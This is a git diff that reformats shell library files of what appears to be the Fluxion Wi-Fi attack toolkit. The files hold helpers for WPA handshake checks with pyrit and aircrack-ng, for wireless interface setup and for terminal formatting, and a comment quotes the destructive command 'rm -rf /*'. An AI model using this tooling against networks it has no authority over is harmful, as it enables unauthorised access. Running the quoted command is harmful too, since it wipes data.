[ $__format_calculate_autosize_length__dynamicsCount -ne 0 -a \ + $__format_calculate_autosize_length__dynamicsLength -ge 0 ]; then FormatCalculateAutosizeLength=$((__format_calculate_autosize_length__dynamicsLength / __format_calculate_autosize_length__dynamicsCount)) + else FormatCalculateAutosizeLength=0 + fi } - # This function replaces dynamics' asterisks with their length, in format. # Parameters: $1 - format [$2 - dynamics length [$3 - dynamics count]] # Warning: Strings containing '\n' result in undefined behavior (not supported). # Warning: Strings containing [0-9]+.* result in undefined behavior. # Notice: Single asterisks are auto-sized, doubles are replaced "**" -> "*". function format_apply_autosize() { - format_calculate_autosize_length "${@}" # Pass all arguments on. - FormatApplyAutosize=$1 - let format_apply_autosize_overcount=$FormatCalculateDynamicsLength%$FormatCalculateDynamicsCount - if [ $format_apply_autosize_overcount -gt 0 ]; then # If we've got left-over, fill it left-to-right. - let format_apply_autosize_oversize=$FormatCalculateAutosizeLength+1 - FormatApplyAutosize=$(echo "$FormatApplyAutosize" | sed -r 's/(^|[^*])\*(\.\*|[^*]|$)/\1'$format_apply_autosize_oversize'\2/'$format_apply_autosize_overcount'; s/([0-9]+\.)\*/\1'$format_apply_autosize_oversize'/'$format_apply_autosize_overcount) - fi - FormatApplyAutosize=$(echo "$FormatApplyAutosize" | sed -r 's/\*\.\*/'$FormatCalculateAutosizeLength'.'$FormatCalculateAutosizeLength'/g; s/(^|[^*])\*([^*]|$)/\1'$FormatCalculateAutosizeLength'\2/g; s/\*\*/*/g') + format_calculate_autosize_length "${@}" # Pass all arguments on. + FormatApplyAutosize=$1 + let format_apply_autosize_overcount=$FormatCalculateDynamicsLength%$FormatCalculateDynamicsCount + if [ $format_apply_autosize_overcount -gt 0 ]; then # If we've got left-over, fill it left-to-right. + let format_apply_autosize_oversize=$FormatCalculateAutosizeLength+1 + FormatApplyAutosize=$(echo "$FormatApplyAutosize" | sed -r 's/(^|[^*])\*(\.\*|[^*]|$)/\1'$format_apply_autosize_oversize'\2/'$format_apply_autosize_overcount'; s/([0-9]+\.)\*/\1'$format_apply_autosize_oversize'/'$format_apply_autosize_overcount) + fi + FormatApplyAutosize=$(echo "$FormatApplyAutosize" | sed -r 's/\*\.\*/'$FormatCalculateAutosizeLength'.'$FormatCalculateAutosizeLength'/g; s/(^|[^*])\*([^*]|$)/\1'$FormatCalculateAutosizeLength'\2/g; s/\*\*/*/g') } # This function centers literal text. # Parameters: $1 - literals function format_center_literals() { - format_strip_invisibles "$1" - local __format_center_literals__text_length=${#FormatStripInvisibles} - format_apply_autosize "%*s%${__format_center_literals__text_length}s%*s" - FormatCenterLiterals=$(printf "$FormatApplyAutosize" "" "$1" "") + format_strip_invisibles "$1" + local __format_center_literals__text_length=${#FormatStripInvisibles} + format_apply_autosize "%*s%${__format_center_literals__text_length}s%*s" + FormatCenterLiterals=$(printf "$FormatApplyAutosize" "" "$1" "") } # This function centers statics in format. # Parameters: $1 - format function format_center_dynamic() { - format_calculate_length "$1" - format_calculate_dynamics_length X $FormatCalculateLength - format_apply_autosize "%*s%${FormatCalculateLength}s%*s" $FormatCalculateDynamicsLength 2 - # Temporary, I'll find a better solution later (too tired). - FormatCenterDynamic=$(printf "`echo "$FormatApplyAutosize" | sed -r 's/%[0-9]+s/%s/2'`" "" "$1" "") + format_calculate_length "$1" + format_calculate_dynamics_length X $FormatCalculateLength + format_apply_autosize "%*s%${FormatCalculateLength}s%*s" $FormatCalculateDynamicsLength 2 + # Temporary, I'll find a better solution later (too tired). + FormatCenterDynamic=$(printf "$(echo "$FormatApplyAutosize" | sed -r 's/%[0-9]+s/%s/2')" "" "$1" "") } diff --git a/lib/HashUtils.sh b/lib/HashUtils.sh index 5cdcac0..ab7fb9f 100755 --- a/lib/HashUtils.sh +++ b/lib/HashUtils.sh @@ -6,60 +6,65 @@ readonly HashUtilsVersion="1.0" HashOutputDevice="/dev/stdout" function hash_check_handshake() { - local handshakeVerifier=$1 - local handshakePath=$2 - local handshakeAPSSID=$3 - local handshakeAPMAC=$4 + local handshakeVerifier=$1 + local handshakePath=$2 + local handshakeAPSSID=$3 + local handshakeAPMAC=$4 - local analysis - local hashData + local analysis + local hashData - echo "Verifier Parameters: $handshakeVerifier, path $handshakePath, SSID \"$handshakeAPSSID\", MAC $handshakeAPMAC" > $HashOutputDevice + echo "Verifier Parameters: $handshakeVerifier, path $handshakePath, SSID \"$handshakeAPSSID\", MAC $handshakeAPMAC" >$HashOutputDevice - case "$handshakeVerifier" in - "pyrit") - readarray analysis < <(pyrit -r "$handshakePath" analyze 2> $HashOutputDevice) - if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then - echo "Error: pyrit seems to be broken!" > $HashOutputDevice - return 1 - fi + case "$handshakeVerifier" in + "pyrit") + readarray analysis < <(pyrit -r "$handshakePath" analyze 2>$HashOutputDevice) + if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then + echo "Error: pyrit seems to be broken!" >$HashOutputDevice + return 1 + fi - local hashMeta=$(echo "${analysis[@]}" | grep -F "AccessPoint ${handshakeAPMAC,,} ('$handshakeAPSSID')") + local hashMeta=$(echo "${analysis[@]}" | grep -F "AccessPoint ${handshakeAPMAC,,} ('$handshakeAPSSID')") - if [ "$hashMeta" ]; then - local hashID=$(echo "$hashMeta" | awk -F'[ #:]' '{print $3}') - hashData=$(echo "${analysis[@]}" | awk "\$0~/#$hashID: HMAC_SHA[0-9]+_AES/{ print \$0 }") - else - echo "No valid hash meta was found for \"$handshakeAPSSID\"" > $HashOutputDevice - fi;; - "aircrack-ng") - readarray analysis < <(aircrack-ng "$handshakePath" 2> $HashOutputDevice) - if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then - echo "Error: aircrack-ng seems to be broken!" > $HashOutputDevice - return 1 - fi + if [ "$hashMeta" ]; then + local hashID=$(echo "$hashMeta" | awk -F'[ #:]' '{print $3}') + hashData=$(echo "${analysis[@]}" | awk "\$0~/#$hashID: HMAC_SHA[0-9]+_AES/{ print \$0 }") + else + echo "No valid hash meta was found for \"$handshakeAPSSID\"" >$HashOutputDevice + fi + ;; + "aircrack-ng") + readarray analysis < <(aircrack-ng "$handshakePath" 2>$HashOutputDevice) + if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then + echo "Error: aircrack-ng seems to be broken!" >$HashOutputDevice + return 1 + fi - hashData=$(echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+" | grep -F "$handshakeAPSSID");; - *) echo "Invalid verifier, quitting!"; return 1;; - esac + hashData=$(echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+" | grep -F "$handshakeAPSSID") + ;; + *) + echo "Invalid verifier, quitting!" + return 1 + ;; + esac - if [ -z "$hashData" ]; then - echo "Handshake for $handshakeAPSSID ($handshakeAPMAC) is missing!" - return 1 - fi + if [ -z "$hashData" ]; then + echo "Handshake for $handshakeAPSSID ($handshakeAPMAC) is missing!" + return 1 + fi - local hashResult - case "$handshakeVerifier" in - "pyrit") hashResult=$(echo "$hashData" | grep "good");; - "aircrack-ng") hashResult=$(echo "$hashData" | grep "(1 handshake)");; - esac + local hashResult + case "$handshakeVerifier" in + "pyrit") hashResult=$(echo "$hashData" | grep "good") ;; + "aircrack-ng") hashResult=$(echo "$hashData" | grep "(1 handshake)") ;; + esac - if [ -z "$hashResult" ]; then - echo "Invalid hash for $handshakeAPSSID ($handshakeAPMAC)!" - HASHCheckHandshake="invalid" - return 1 - else - echo "Valid hash for $handshakeAPSSID ($handshakeAPMAC)!" - HASHCheckHandshake="valid" - fi + if [ -z "$hashResult" ]; then + echo "Invalid hash for $handshakeAPSSID ($handshakeAPMAC)!" + HASHCheckHandshake="invalid" + return 1 + else + echo "Valid hash for $handshakeAPSSID ($handshakeAPMAC)!" + HASHCheckHandshake="valid" + fi } diff --git a/lib/IOUtils.sh b/lib/IOUtils.sh index 26112ca..64bce53 100755 --- a/lib/IOUtils.sh +++ b/lib/IOUtils.sh @@ -10,35 +10,35 @@ IOUtilsPrompt="[$USER@$HOSTNAME]> " if [ ! "$ArrayUtilsVersion" ]; then source lib/ArrayUtils.sh; fi function io_input_choice() { - local __io_input_choice__choice - until [ ! -z "$__io_input_choice__choice" ]; do - echo -ne "$IOUtilsPrompt" + local __io_input_choice__choice + until [ ! -z "$__io_input_choice__choice" ]; do + echo -ne "$IOUtilsPrompt" - local __io_input_choice__input - read __io_input_choice__input + local __io_input_choice__input + read __io_input_choice__input - local __io_input_choice__choices - for __io_input_choice__choices in ${@}; do - array_contains $__io_input_choice__choices "$__io_input_choice__input" - if [ $? -eq 0 ]; then - __io_input_choice__choice="$__io_input_choice__input" - break - fi - done - done + local __io_input_choice__choices + for __io_input_choice__choices in ${@}; do + array_contains $__io_input_choice__choices "$__io_input_choice__input" + if [ $? -eq 0 ]; then + __io_input_choice__choice="$__io_input_choice__input" + break + fi + done + done - IOInputChoice=$__io_input_choice__choice + IOInputChoice=$__io_input_choice__choice } function io_dynamic_output() { - eval 'echo -ne "'${@}'"' + eval 'echo -ne "'${@}'"' } function io_input_enumerated_choice() { - local __io_input_enumerated_choice__choices=("${!1}") - local __io_input_enumerated_choice__indexes=($(seq ${#__io_input_numeric_choice__choices[@]})) - io_input_choice __io_input_enumerated_choice__indexes[@] - IOInputEnumeratedChoice=${__io_input_enumerated_choice__choices[$IOInputChoice]} + local __io_input_enumerated_choice__choices=("${!1}") + local __io_input_enumerated_choice__indexes=($(seq ${#__io_input_numeric_choice__choices[@]})) + io_input_choice __io_input_enumerated_choice__indexes[@] + IOInputEnumeratedChoice=${__io_input_enumerated_choice__choices[$IOInputChoice]} } # This function outputs formatted lines of fields. @@ -48,106 +48,98 @@ function io_input_enumerated_choice() { # NOTICE: At least the first array must be passed! # Example: /dev/stdout "%s is %s." name[@] mood[@] function io_output_format_fields() { - # Determine the amount of arguments passed. - local __io_output_format_fields__argument_count=${#@} + # Determine the amount of arguments passed. + local __io_output_format_fields__argument_count=${#@} - # Load locally by indirect expansion, ${! ... }, - # and mangle the variable number argument arrays. - local __io_output_format_fields__i - for ((__io_output_format_fields__i = 3; \ - __io_output_format_fields__i <= __io_output_format_fields__argument_count; \ - __io_output_format_fields__i++)); do - eval "local __io_output_format_fields__field$__io_output_format_fields__i=(\"\${!$__io_output_format_fields__i}\")" - done + # Load locally by indirect expansion, ${! ... }, + # and mangle the variable number argument arrays. + local __io_output_format_fields__i + for ((__io_output_format_fields__i = 3; __io_output_format_fields__i <= __io_output_format_fields__argument_count; __io_output_format_fields__i++)); do + eval "local __io_output_format_fields__field$__io_output_format_fields__i=(\"\${!$__io_output_format_fields__i}\")" + done - # Determine the amount of records/lines to print. - # Notice at least the first array must be passed. - local __io_output_format_fields__record_count=${#__io_output_format_fields__field3[@]} + # Determine the amount of records/lines to print. + # Notice at least the first array must be passed. + local __io_output_format_fields__record_count=${#__io_output_format_fields__field3[@]} - for ((__io_output_format_fields__i = 0; \ - __io_output_format_fields__i < __io_output_format_fields__record_count; \ - __io_output_format_fields__i++)); do - local __io_output_format_fields__values="\"\${__io_output_format_fields__field"$( \ - seq -s "[$__io_output_format_fields__i]}\" \"\${__io_output_format_fields__field" 3 $__io_output_format_fields__argument_count \ - )"[$__io_output_format_fields__i]}\"" - eval "printf \"$2\" $__io_output_format_fields__values > $1" - done + for ((__io_output_format_fields__i = 0; __io_output_format_fields__i < __io_output_format_fields__record_count; __io_output_format_fields__i++)); do + local __io_output_format_fields__values="\"\${__io_output_format_fields__field"$( + seq -s "[$__io_output_format_fields__i]}\" \"\${__io_output_format_fields__field" 3 $__io_output_format_fields__argument_count + )"[$__io_output_format_fields__i]}\"" + eval "printf \"$2\" $__io_output_format_fields__values > $1" + done } function io_query_format_fields() { - # Assure we've got required parameters. - if [ ${#@} -lt 2 ]; then - return 1 - fi + # Assure we've got required parameters. + if [ ${#@} -lt 2 ]; then + return 1 + fi - local __io_query_format_fields__argument_count=${#@} + local __io_query_format_fields__argument_count=${#@} - local __io_query_format_fields__query="$1" - local __io_query_format_fields__format="$2" + local __io_query_format_fields__query="$1" + local __io_query_format_fields__format="$2" - # Load locally by indirect expansion, ${! ... }, - # and mangle the variable number argument arrays. - local __io_query_format_fields__i - for ((__io_query_format_fields__i = 3; \ - __io_query_format_fields__i <= __io_query_format_fields__argument_count; \ - __io_query_format_fields__i++)); do - eval "local __io_query_format_fields__f$__io_query_format_fields__i=(\"\${!$__io_query_format_fields__i}\")" - done + # Load locally by indirect expansion, ${! ... }, + # and mangle the variable number argument arrays. + local __io_query_format_fields__i + for ((__io_query_format_fields__i = 3; __io_query_format_fields__i <= __io_query_format_fields__argument_count; __io_query_format_fields__i++)); do + eval "local __io_query_format_fields__f$__io_query_format_fields__i=(\"\${!$__io_query_format_fields__i}\")" + done - local __io_query_format_fields__record_count=${#__io_query_format_fields__f3[@]} - local __io_query_format_fields__indexes=($(seq $__io_query_format_fields__record_count)) + local __io_query_format_fields__record_count=${#__io_query_format_fields__f3[@]} + local __io_query_format_fields__indexes=($(seq $__io_query_format_fields__record_count)) - if [ ! -z "$1" ]; then - if [ "`type -t $(echo -e "$IOUtilsHeader" | grep -vE '\s')`" = "function" ]; then $IOUtilsHeader; - else echo -e "$IOUtilsHeader"; fi + if [ ! -z "$1" ]; then + if [ "$(type -t $(echo -e "$IOUtilsHeader" | grep -vE '\s'))" = "function" ]; then $IOUtilsHeader + else echo -e "$IOUtilsHeader"; fi - echo -e "$__io_query_format_fields__query" - echo - fi + echo -e "$__io_query_format_fields__query" + echo + fi - io_output_format_fields /dev/stdout "$__io_query_format_fields__format" __io_query_format_fields__indexes[@] ${@:3} + io_output_format_fields /dev/stdout "$__io_query_format_fields__format" __io_query_format_fields__indexes[@] ${@:3} - echo + echo - io_input_choice __io_query_format_fields__indexes[@] + io_input_choice __io_query_format_fields__indexes[@] - IOQueryFormatFields=() - for ((__io_query_format_fields__i = 3; \ - __io_query_format_fields__i <= __io_query_format_fields__argument_count; \ - __io_query_format_fields__i++)); do - eval "IOQueryFormatFields[${#IOQueryFormatFields[@]}]=\${__io_query_format_fields__f$__io_query_format_fields__i[IOInputChoice - 1]}" - done + IOQueryFormatFields=() + for ((__io_query_format_fields__i = 3; __io_query_format_fields__i <= __io_query_format_fields__argument_count; __io_query_format_fields__i++)); do + eval "IOQueryFormatFields[${#IOQueryFormatFields[@]}]=\${__io_query_format_fields__f$__io_query_format_fields__i[IOInputChoice - 1]}" + done } function io_query_choice() { - # Assure we've got required parameters. - if [ ${#@} -lt 2 ]; then - return 1 - fi + # Assure we've got required parameters. + if [ ${#@} -lt 2 ]; then + return 1 + fi - __io_query_choice__query=$([ -z "$1" ] && echo -n "" || echo -ne "$FLUXIONVLine $1\n") - io_query_format_fields "$__io_query_choice__query" "\t$CRed[$CSYel%d$CClr$CRed]$CClr %b\n" $2 + __io_query_choice__query=$([ -z "$1" ] && echo -n "" || echo -ne "$FLUXIONVLine $1\n") + io_query_format_fields "$__io_query_choice__query" "\t$CRed[$CSYel%d$CClr$CRed]$CClr %b\n" $2 - IOQueryChoice="${IOQueryFormatFields[0]}" + IOQueryChoice="${IOQueryFormatFields[0]}" } function io_query_file() { - if [ ${#@} -lt 2 ]; then - return 1 - fi + if [ ${#@} -lt 2 ]; then + return 1 + fi - local __io_query_file__options + local __io_query_file__options - # List a line per line and redirect output. - # readarray __io_query_file__options < $2 - mapfile __io_query_file__options < $2 + # List a line per line and redirect output. + # readarray __io_query_file__options < $2 + mapfile __io_query_file__options <$2 - # Strip newline characters from array elements - __io_query_file__options=("${__io_query_file__options[@]/$'\n'}") + # Strip newline characters from array elements + __io_query_file__options=("${__io_query_file__options[@]/$'\n'/}") - io_query_choice "$1" __io_query_file__options[@] + io_query_choice "$1" __io_query_file__options[@] - IOQueryFile=$IOQueryChoice + IOQueryFile=$IOQueryChoice } # FLUXSCRIPT END diff --git a/lib/InterfaceUtils.sh b/lib/InterfaceUtils.sh index 5e56221..75a8ed9 100755 --- a/lib/InterfaceUtils.sh +++ b/lib/InterfaceUtils.sh @@ -7,200 +7,203 @@ # This is all thanks for the airmon-ng authors, thanks guys. InterfaceUtilsOutputDevice="/dev/stdout" -if [ -d /sys/bus/usb ] # && hash lsusb - then InterfaceUSBBus=1 +if [ -d /sys/bus/usb ] # && hash lsusb; + then InterfaceUSBBus=1 fi -if [ -d /sys/bus/pci ] || [ -d /sys/bus/pci_express ] || [ -d /proc/bus/pci ] # && hash lspci +if [ -d /sys/bus/pci ] || [ -d /sys/bus/pci_express ] || [ -d /proc/bus/pci ] # && hash lspci; then InterfacePCIBus=1 fi # Checks if the interface belongs to a physical device. function interface_is_real() { - if [ -d /sys/class/net/$1/device ] - then return 0 - else return 1 - fi + if [ -d /sys/class/net/$1/device ]; then return 0 + else return 1 + fi } # Checks if the interface belongs to a wireless device. function interface_is_wireless() { - if grep -qs "DEVTYPE=wlan" /sys/class/net/$1/uevent - then return 0 - else return 1 - fi + if grep -qs "DEVTYPE=wlan" /sys/class/net/$1/uevent; then return 0 + else return 1 + fi } # Returns an array of absolutely all interfaces. # Notice: That includes interfaces such as the loopback interface. function interface_list_all() { - InterfaceListAll=(/sys/class/net/*) - InterfaceListAll=("${InterfaceListAll[@]//\/sys\/class\/net\//}") + InterfaceListAll=(/sys/class/net/*) + InterfaceListAll=("${InterfaceListAll[@]//\/sys\/class\/net\//}") } # Returns an array of interfaces pertaining to a physical device. function interface_list_real() { - InterfaceListReal=() - interface_list_all - local __interface_list_real__candidate - for __interface_list_real__candidate in "${InterfaceListAll[@]}"; do - if interface_is_real $__interface_list_real__candidate - then InterfaceListReal+=("$__interface_list_real__candidate") - fi - done + InterfaceListReal=() + interface_list_all + local __interface_list_real__candidate + for __interface_list_real__candidate in "${InterfaceListAll[@]}"; do + if interface_is_real $__interface_list_real__candidate; then InterfaceListReal+=("$__interface_list_real__candidate") + fi + done } # Returns an array of interfaces pertaining to a wireless device. function interface_list_wireless() { - InterfaceListWireless=() - interface_list_all - local __interface_list_wireless__candidate - for __interface_list_wireless__candidate in "${InterfaceListAll[@]}"; do - if interface_is_wireless $__interface_list_wireless__candidate - then InterfaceListWireless+=("$__interface_list_wireless__candidate") - fi - done + InterfaceListWireless=() + interface_list_all + local __interface_list_wireless__candidate + for __interface_list_wireless__candidate in "${InterfaceListAll[@]}"; do + if interface_is_wireless $__interface_list_wireless__candidate; then InterfaceListWireless+=("$__interface_list_wireless__candidate") + fi + done } function interface_driver() { - InterfaceDriver=$(basename $(readlink /sys/class/net/$1/device/driver)) + InterfaceDriver=$(basename $(readlink /sys/class/net/$1/device/driver)) } function interface_physical() { - if [ ! "$1" ]; then return 1; fi + if [ ! "$1" ]; then return 1; fi - unset InterfacePhysical + unset InterfacePhysical - local -r interface_physical_path="/sys/class/net/$1/phy80211" + local -r interface_physical_path="/sys/class/net/$1/phy80211" - if [ -d "$interface_physical_path" ]; then - if [ -r "$interface_physical_path/name" ] - then InterfacePhysical="`cat "$interface_physical_path/name"`" - fi - if [ ! "${InterfacePhysical// }" ] - then InterfacePhysical="`ls -l "$interface_physical_path" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/'`" - fi - fi + if [ -d "$interface_physical_path" ]; then + if [ -r "$interface_physical_path/name" ]; then InterfacePhysical="$(cat "$interface_physical_path/name")" + fi + if [ ! "${InterfacePhysical// /}" ]; then InterfacePhysical="$(ls -l "$interface_physical_path" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/')" + fi + fi - if [ ! "$InterfacePhysical" ]; then return 2; fi + if [ ! "$InterfacePhysical" ]; then return 2; fi } function interface_hardware() { - if [ ! "$1" ]; then return 1; fi + if [ ! "$1" ]; then return 1; fi - local __interface_hardware__device="/sys/class/net/$1/device" - local __interface_hardware__hwinfo="$__interface_hardware__device/modalias" + local __interface_hardware__device="/sys/class/net/$1/device" + local __interface_hardware__hwinfo="$__interface_hardware__device/modalias" - InterfaceHardwareBus="`cut -d ":" -f 1 "$__interface_hardware__hwinfo" 2> $InterfaceUtilsOutputDevice`" + InterfaceHardwareBus="$(cut -d ":" -f 1 "$__interface_hardware__hwinfo" 2>$InterfaceUtilsOutputDevice)" - case "$InterfaceHardwareBus" in - "usb") # Wanted to replace the line below with awk, but i'll probably just add complexity & issues (mawk vs gawk). - InterfaceHardwareID="`cut -d ":" -f 2 $__interface_hardware__hwinfo | cut -b 1-10 | sed 's/^.//;s/p/:/'`";; - "pci" | "pcmcia" | "sdio") - InterfaceHardwareID="`cat "$__interface_hardware__device/vendor" 2> $InterfaceUtilsOutputDevice`:`cat "$__interface_hardware__device/device" 2> $InterfaceUtilsOutputDevice`";; - default) # The following will only work for USB devices. - InterfaceHardwareID="`cat "$__interface_hardware__device/idVendor" 2> $InterfaceUtilsOutputDevice`:`cat "$__interface_hardware__device/idProduct" 2> $InterfaceUtilsOutputDevice`" - InterfaceHardwareBus="usb";; # This will be reset below if InterfaceHardwareID is invalid. - esac + case "$InterfaceHardwareBus" in + "usb") # Wanted to replace the line below with awk, but i'll probably just add complexity & issues (mawk vs gawk). + InterfaceHardwareID="$(cut -d ":" -f 2 $__interface_hardware__hwinfo | cut -b 1-10 | sed 's/^.//;s/p/:/')" + ;; + "pci" | "pcmcia" | "sdio") + InterfaceHardwareID="$(cat "$__interface_hardware__device/vendor" 2>$InterfaceUtilsOutputDevice):$(cat "$__interface_hardware__device/device" 2>$InterfaceUtilsOutputDevice)" + ;; + default) # The following will only work for USB devices. + InterfaceHardwareID="$(cat "$__interface_hardware__device/idVendor" 2>$InterfaceUtilsOutputDevice):$(cat "$__interface_hardware__device/idProduct" 2>$InterfaceUtilsOutputDevice)" + InterfaceHardwareBus="usb" + ;; # This will be reset below if InterfaceHardwareID is invalid. + esac - # Check for invalid InterfaceHardwareID (starts or ends with :) .. not a happy face, still won't quote it. - if echo "$InterfaceHardwareID" | egrep -q "^:|:$"; then - unset InterfaceHardwareID - unset InterfaceHardwareBus - return 2 - else - # Remove any extraneous hex markers. - InterfaceHardwareID=${InterfaceHardwareID//0x/} - fi + # Check for invalid InterfaceHardwareID (starts or ends with :) .. not a happy face, still won't quote it. + if echo "$InterfaceHardwareID" | egrep -q "^:|:$"; then + unset InterfaceHardwareID + unset InterfaceHardwareBus + return 2 + else + # Remove any extraneous hex markers. + InterfaceHardwareID=${InterfaceHardwareID//0x/} + fi } function interface_chipset() { - if [ ! "$1" ]; then return 1; fi + if [ ! "$1" ]; then return 1; fi - if ! interface_hardware "$1"; then return 2; fi + if ! interface_hardware "$1"; then return 2; fi - case "$InterfaceHardwareBus" in - "usb") - if [ ! "$InterfaceUSBBus" ]; then return 3; fi - InterfaceChipset="`lsusb -d "$InterfaceHardwareID" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //'`";; - "pci" | "pcmcia") - if [ ! "$InterfacePCIBus" ]; then return 4; fi - InterfaceChipset="$(lspci -d $InterfaceHardwareID | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')";; - "sdio") - if [[ "${InterfaceHardwareID,,}" = "0x02d0"* ]] - then InterfaceChipset=$(printf "Broadcom %d" ${InterfaceHardwareID:7}) - else InterfaceChipset="Unknown chipset for SDIO device." - fi;; - default) - InterfaceChipset="Unknown device chipset & device bus." - esac + case "$InterfaceHardwareBus" in + "usb") + if [ ! "$InterfaceUSBBus" ]; then return 3; fi + InterfaceChipset="$(lsusb -d "$InterfaceHardwareID" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')" + ;; + "pci" | "pcmcia") + if [ ! "$InterfacePCIBus" ]; then return 4; fi + InterfaceChipset="$(lspci -d $InterfaceHardwareID | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')" + ;; + "sdio") + if [[ "${InterfaceHardwareID,,}" == "0x02d0"* ]]; then InterfaceChipset=$(printf "Broadcom %d" ${InterfaceHardwareID:7}) + else InterfaceChipset="Unknown chipset for SDIO device." + fi + ;; + default) + InterfaceChipset="Unknown device chipset & device bus." + ;; + esac } function interface_state() { - if [ ! "$1" ]; then return 1; fi - local __interface_state__stateFile="/sys/class/net/$1/operstate" + if [ ! "$1" ]; then return 1; fi + local __interface_state__stateFile="/sys/class/net/$1/operstate" - if [ ! -f "$__interface_state__stateFile" ]; then return 2; fi - InterfaceState=$(cat "$__interface_state__stateFile") + if [ ! -f "$__interface_state__stateFile" ]; then return 2; fi + InterfaceState=$(cat "$__interface_state__stateFile") } function interface_set_state() { - if [ "${#@}" -ne 2 ]; then return 1; fi - ip link set "$1" "$2" + if [ "${#@}" -ne 2 ]; then return 1; fi + ip link set "$1" "$2" } function interface_set_mode() { - if [ "${#@}" -ne 2 ]; then return 1; fi - if ! interface_set_state "$1" "down"; then return 2; fi - if ! iwconfig "$1" mode "$2" &> $InterfaceUtilsOutputDevice; then return 3; fi - if ! interface_set_state "$1" "up"; then return 4; fi + if [ "${#@}" -ne 2 ]; then return 1; fi + if ! interface_set_state "$1" "down"; then return 2; fi + if ! iwconfig "$1" mode "$2" &>$InterfaceUtilsOutputDevice; then return 3; fi + if ! interface_set_state "$1" "up"; then return 4; fi } function interface_prompt() { - if [ -z "$1" -o -z "$2" ]; then return 1; fi + if [ -z "$1" -o -z "$2" ]; then return 1; fi - local __interface_prompt__ifAvailable=("${!2}") - local __interface_prompt__ifAvailableInfo=() - local __interface_prompt__ifAvailableColor=() - local __interface_prompt__ifAvailableState=() + local __interface_prompt__ifAvailable=("${!2}") + local __interface_prompt__ifAvailableInfo=() + local __interface_prompt__ifAvailableColor=() + local __interface_prompt__ifAvailableState=() - local __interface_prompt__ifCandidate - for __interface_prompt__ifCandidate in "${__interface_prompt__ifAvailable[@]}"; do - interface_chipset "$__interface_prompt__ifCandidate" - __interface_prompt__ifAvailableInfo+=("$InterfaceChipset") + local __interface_prompt__ifCandidate + for __interface_prompt__ifCandidate in "${__interface_prompt__ifAvailable[@]}"; do + interface_chipset "$__interface_prompt__ifCandidate" + __interface_prompt__ifAvailableInfo+=("$InterfaceChipset") - interface_state "$__interface_prompt__ifCandidate" + interface_state "$__interface_prompt__ifCandidate" - if [ "$InterfaceState" = "up" ] - then __interface_prompt__ifAvailableColor+=("$CPrp"); __interface_prompt__ifAvailableState+=("[-]") - else __interface_prompt__ifAvailableColor+=("$CClr"); __interface_prompt__ifAvailableState+=("[+]") - fi - done - - # The following conditional is required since io_query_format_fields - # only considers the the size of the first parameter, available color. - if [ "$6" ]; then # Add alternative choices - __interface_prompt__ifAvailable+=("${!3}") - __interface_prompt__ifAvailableInfo+=("${!4}") - __interface_prompt__ifAvailableState+=("${!5}") - __interface_prompt__ifAvailableColor+=("${!6}") - fi - - # If only one interface exists and it's available, choose it. - if [ "${#__interface_prompt__ifAvailable[@]}" -eq 1 -a "${__interface_prompt__ifAvailableState[0]}" = "[+]" ]; then - InterfacePromptWISelected="${__interface_prompt__ifAvailable[0]}" - InterfacePromptWISelectedState="[+]" # It passed the condition, it must be + - InterfacePromptWISelectedInfo="${__interface_prompt__ifAvailableInfo[0]}" + if [ "$InterfaceState" = "up" ]; then + __interface_prompt__ifAvailableColor+=("$CPrp") + __interface_prompt__ifAvailableState+=("[-]") else - format_apply_autosize "$CRed[$CSYel%1d$CClr$CRed]%b %-8b %3s$CClr %-*.*s\n" - io_query_format_fields "$1" "$FormatApplyAutosize" \ - __interface_prompt__ifAvailableColor[@] __interface_prompt__ifAvailable[@] \ - __interface_prompt__ifAvailableState[@] __interface_prompt__ifAvailableInfo[@] + __interface_prompt__ifAvailableColor+=("$CClr") + __interface_prompt__ifAvailableState+=("[+]") + fi + done - echo + # The following conditional is required since io_query_format_fields + # only considers the the size of the first parameter, available color. + if [ "$6" ]; then # Add alternative choices + __interface_prompt__ifAvailable+=("${!3}") + __interface_prompt__ifAvailableInfo+=("${!4}") + __interface_prompt__ifAvailableState+=("${!5}") + __interface_prompt__ifAvailableColor+=("${!6}") + fi - InterfacePromptIfSelected="${IOQueryFormatFields[1]}" - InterfacePromptIfSelectedState="${IOQueryFormatFields[2]}" - InterfacePromptWISelectedInfo="${IOQueryFormatFields[3]}" - fi + # If only one interface exists and it's available, choose it. + if [ "${#__interface_prompt__ifAvailable[@]}" -eq 1 -a "${__interface_prompt__ifAvailableState[0]}" = "[+]" ]; then + InterfacePromptWISelected="${__interface_prompt__ifAvailable[0]}" + InterfacePromptWISelectedState="[+]" # It passed the condition, it must be + + InterfacePromptWISelectedInfo="${__interface_prompt__ifAvailableInfo[0]}" + else + format_apply_autosize "$CRed[$CSYel%1d$CClr$CRed]%b %-8b %3s$CClr %-*.*s\n" + io_query_format_fields "$1" "$FormatApplyAutosize" \ + __interface_prompt__ifAvailableColor[@] __interface_prompt__ifAvailable[@] \ + __interface_prompt__ifAvailableState[@] __interface_prompt__ifAvailableInfo[@] + + echo + + InterfacePromptIfSelected="${IOQueryFormatFields[1]}" + InterfacePromptIfSelectedState="${IOQueryFormatFields[2]}" + InterfacePromptWISelectedInfo="${IOQueryFormatFields[3]}" + fi } diff --git a/lib/SandboxUtils.sh b/lib/SandboxUtils.sh index 52aa9e6..7dd1ee5 100755 --- a/lib/SandboxUtils.sh +++ b/lib/SandboxUtils.sh @@ -12,26 +12,26 @@ SandboxOutputDevice="/dev/stdout" # the command "rm -rf /*" ... yeah, fuck that... # Spent an entire day retreiving all my shit back. function sandbox_remove_workfile() { - # Check we've got the environment variables ready. - if [[ -z "$SandboxWorkspacePath" || -z "$SandboxOutputDevice" ]]; then - echo "The workspace path, or the output device is missing." > $SandboxOutputDevice - return 1 - fi + # 